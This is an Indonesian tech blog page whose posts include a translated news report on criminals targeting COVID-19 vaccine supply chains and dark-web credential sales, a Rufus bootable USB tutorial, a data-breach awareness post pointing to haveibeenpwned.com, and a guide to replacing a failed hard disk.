Amy Shortman, pakar logistik farmasi di Overhaul, yang menangani keamanan rantai pasokan, berkata "Akan selalu ada pasar bagi orang - orang yang belum tentu memiliki akses ke obat itu dan ingin melindungi diri mereka sendiri dan keluarga mereka". Dia mencontohkan pasar gelap yang ada untuk obat - obatan kemoterapi, meskipun obat tersebut sulit untuk diberikan. "Akan ada, secara global, banyak uang yang bisa dihasilkan oleh para penjahat."

Resiko akan adanya vaksin yang dicuri atau didistribusikan ke Black Market telah membuat industri farmasi sangat waspada dan bersiap untuk mendukung upaya vaksinasi global terbesar dalam sejarah.

"Kami perlu memberi tau orang - orang di pusat vaksin bahwa mereka membawa emas", kata Thorsten Neumann, kepala cabang European arm of Tapa, asosiasi kemanan rantai pasokan. "Penjahat tidak melihat muatan vaksin, mereka melihat uang," katanya menyoroti resiko bahwa pekerja rantai pasokan dengan tautan yang ada ke jaringan kriminal dapat memberikan informasi untuk memungkinkan kelompok - kelompok itu menargetkan pengiriman.

Industri sudah siap. Upaya untuk meningkatkan keamanan dalam beberapa tahun terakhir telah menyebabkan produsen melakukan audit rutin dan pemeriksaan rantai pasokan, serta meminimalkan kontak, penghentian dan penyerahan langsung selama distribusi.

"Produsen farmasi sudah menghabiskan banyak waktu untuk memastikan produk dan rantai pasokan mereka aman", kata Chuck Forsaith, kepala Koalisi Keamanan Kargo Farmasi, sebuah asosiasi industri. "Saya rasa tidak ada industri lain di dunia yang siap untuk hal seperti ini".

Pengiriman secara teratur dilengkapi dengan perangkat digital realtime yang mengukur suhu dan lokasi. Teknologi tersebut memastikan integritas rantai pasokan, meski bisa juga menjadi sebuah kerentanan.

Sementara Forsaith mengatakan sejauh ini tampaknya tidak ada bukti serangan fisik pada rantai pasokan vaksin COVID-19, namun sudah banyak serangan di dunia maya telah didokumentasikan.

Rumah sakit dan fasilitas perawatan kesehatan telah dilanda serangan Phising dan Ransomware sejak pandemi dimulai.

"Kami telah melihat serangat yang sangat bertarget terkait vaksin," kata Evangelos Ouzounis, kepala unit infrastruktur keamanan di Enisa, Badan Keamanan Siber Uni Eropa. "Sektor kesehatan belum terlalu matang dalam hal keamanan dunia maya".

Dalam satu serangan yang dilaporkan bulan Desember 2020 ini, para peneliti di IBM menemukan peretas telah meniru seorang eksekutif di pemasok pendingin ultra China dalam upaya untuk mencuri login dan kata sandi.

Kurangnya akses ke vaksin virus Corona di negara - negara seperti Amerika Serikat dan Inggris, di mana otoritas kesehatan memprioritaskan mereka yang rentan atau mereka yang bekerja di industri tertentu, berarti pasar sekunder untuk kredensial yang memungkinkan individu untuk melompati antrean juga cenderung berkembang, menurut perusahaan data Experian.

"Sudah ada penawaran dan ruang obrolan kredensial yang valid dari orang - orang dengan kondisi yang sudah ada sebelumnya", kata Michael Breummer, wakil Presiden Resolusi Pelanggaran Data Experian. "Anda dapat memesan di muka untuk vaksinasi di web gelap, jadi kami pikir web gelap hanya akan menjadi lebih sibuk".

Sumber : Financialpost.com https://financialpost.com/financial-times/vaccines-for-sale-on-dark-web-as-criminals-target-pandemic-profits

Hubungi Kami

2020-12-29T11:09:00.003+07:00

Untuk informasi lebih lanjut yang ingin ditanyakan secara pribadi bisa menghubungi tim redaksi kami di

Whatsapp : +62 812 8631 2318

E-mail : donnypratama25@gmail.com

Telegram : +62 812 8631 2318

Facebook : http://www.facebook.com/donny.p.hardi/

Instagram : http://instagram.com/donnypratamahardi/

Mohon maaf jika di dalam postingan terdapat banyak kesalahan, mohon koreksi dan segera hubungi saya karena kesalahan informasi bisa menyebabkan HOAX. Terima Kasih.

Cara membuat bootable drive dengan Rufus

2020-12-29T10:18:00.007+07:00

Singkat kata bootable adalah media penyimpanan yang mendukung proses booting. Kadang kita sering mengunduh OS di internet dalam bentuk ISO, tentu untuk membuatnya menjadi bisa digunakan kita harus mengkonversikan ISO ke bentuk bootable terlebih dahulu dengan menggunakan program tertentu. Kali ini saya akan menggunakan Rufus sebagai aplikasi untuk membuat bootable dengan flash disk.

Tahap pertama anda sudah harus memiliki ISO yang ingin di burning, dan tentunya aplikasi Rufus anda bisa mencarinya di google.

Setelah selesai mengunduh jalankan aplikasi Rufus.

Setelah itu tekan tombol select dan pilih ISO yang ingin anda jadikan bootable di drive anda. Sebagai contoh di sini saya menggunakan ISO Windows 7.

Setelah itu tekan saja tombol start, dan tekan yes untuk melanjutkan.

Setelah selesai akan tampak seperti gambar di bawah ini. Anda tinggal mencabut flash disk anda dan tinggal gunakan untuk keperluan instalasi OS.

Setelah itu anda hanya mengatur boot menu di bios dan memposisikan bootable drive anda menjadi yang pertama. Lalu anda akan dibawa ke halaman instalasi OS yang sudah anda burn. Sekian tutorial dari saya, semoga bermanfaat.

Mengenal Data Breach (Pelanggaran Data) lebih jauh

2020-12-28T13:05:00.004+07:00

Semakin berkembangnya zaman manusia sangat bergantung pada internet terutama sosial media, tentu kasus - kasus peretasan dan sabotase IT banyak terjadi. Untuk itu kita harus senantiasa menjaga dan melindungi privasi akun kita, jangan sampai bocor sehingga nantinya penggunaan secara tidak sah dapat dihindari.

Akhir - akhir ini kasus peretasan database perusahaan - perusahaan besar marak terjadi, para peretas jahat kemudian menjual data tersebut di situs gelap ataupun diekspos ke publik. Data - data ini kadang digunakan untuk keperluan politik, intelijen ataupun penggunaan transaksi ilegal dengan kartu kredit maupun e-commerce. Perusahaan - perusahaan yang pernah menjadi target peretasan seperti Tokopedia dan Bukalapak contohnya yang pernah diretas pada 2019 dan 2020. Jika anda pernah mendaftar di situs yang pernah diretas tersebut, maknanya ada kemungkinan data anda sudah terekspos ke publik ataupun dijual di forum gelap.

Sebenarnya masih banyak lagi situs - situs besar yang terkena dampak peretasan besar, yang nantinya disalahgunakan. Seperti Adobe pada Tahun 2013, Canva, Edmodo dan lain sebagainya. Namun anda jangan khawatir kita bisa tau bagaimana caranya untuk memastikan data kita pernah menjadi korban peretasan atau tidak.

Haveibeenpwned.com adalah sebuah situs yang aktif mereport dan melaporkan kebocoran data, anda bisa mengakses situs tersebut kemudian memasukkan alamat email milik anda.

Sebagai contoh saya memasukkan email disini, dan situs menunjukkan indikasi pernah terjadinya kebocoran.

Bahkan ironisnya, email yang saya masukkan memiliki kebocoran plaintext yang dapat dilihat oleh orang banyak. Secara kontan di pastebin, email dan password tertulis di sana bersama dengan data - data pengguna lain yang ikut bocor bersama email ini.

Beruntung pihak pastebin bersama dengan polisi siber sudah menghapus data - data tersebut, namun tetap saja data - data tersebut mengalami kebocoran. Bisa jadi bukan hanya di pastebin namun juga di darknet yang menjadi tempat jual beli data ilegal untuk keperluan intelijen dan kampanye politik.

Untuk mentackle hal tersebut, takut akan terjadinya penyalahgunaan akun yang tidak terotorisasi saya sarankan anda mengganti password akun dari situs - situs yang terkait dengan email anda secara berkala.

Cara mengganti Hard Disk Komputer yang Rusak

2020-12-28T11:00:00.007+07:00

Hard disk atau Hard drive adalah komponen yang sangat penting di dalam CPU, yang di mana fungsinya untuk menyimpan data, namun sangat memungkinkan juga Hard disk bisa mengalami kerusakan. Alasannya bisa berbagai macam, bisa dari faktor usia, korsleting ataupun bad sector. Berikut saya berikan penampakan rusaknya HDD Komputer.

Tampak pada gambar di atas komputer stuck saat booting

Ada keterangan error "No boot disk has been detected or the disk has failed"

Saya juga mencoba memastikan apakah Hard disk benar - benar rusak dengan memeriksa boot menu, takutnya Hard disk hanya mengalami kerusakan file di OS saja. Jika Hard Disk benar - benar rusak boot menu tidak menunjukkan nama apapun.

Sudah bisa dipastikan Hard disk mengalami kerusakan. Baik langsung saja saya coba mengganti Hard disk lama dengan yang baru.

Langkah pertama buka case CPU anda dengan menggunakan obeng.

Selanjutnya cari posisi di mana Hard disk komputer anda terpasang.

Preteli baut yang mengunci Hard disk anda untuk melepaskan hard disk, lalu tarik keluar hard disk anda dari mount tempat hard disk CPU.

Selanjutnya tidak lupa cabut kabel penghubung hard disk dengan power supply dan motherboard secara perlahan.

Masukkan hard disk baru ke slot tempat hard disk yang ada di CPU.

Setelah itu kunci Hard disk dengan baut dan hubungkan kabel power dan SATA ke hard disk yang baru. Pastikan hard disk dikunci dalam keadaan kuat agar tidak mudah lepas, juga konektor harus di hubungkan secara perlahan agar kuningan yang ada pada hard disk tidak lecet.

Selanjutnya tutup case CPU dan kunci dengan baut.

Hidupkan Komputer, untuk memastikan apakah Hard disk baru terbaca dan terpasang dengan benar, tekan F12 pada boot menu. Jika Hard disk terpasang dengan baik maka boot menu akan menampilkan nama dari merek hard disk yang kita pasang.

Nah itulah cara - cara bagaimana mengganti hard disk di Komputer. Hard disk baru memerlukan instalasi OS karena di dalamnya tidak memiliki file system apapun. Sekian tutorial dari saya, terima kasih.